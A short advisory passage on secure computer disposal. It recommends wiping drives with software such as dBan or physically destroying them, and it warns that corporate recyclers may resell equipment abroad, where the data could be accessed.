Wiping your own data is the best option and software like dBan offers the best and most secure way of doing this. The other option open to you is to remove the hard drive and take a sledge hammer to it. For corporates, computer recycling usually costs money and if it doesn't, the service most certainly involves resale for export, where information may be accessed on other continents- well outside the shores of your parent country and the laws that protect a company's rights. Remember, if in doubt, ask. Look for a level of professionalism and a service from your chosen recycling company designed to ensure client retention.

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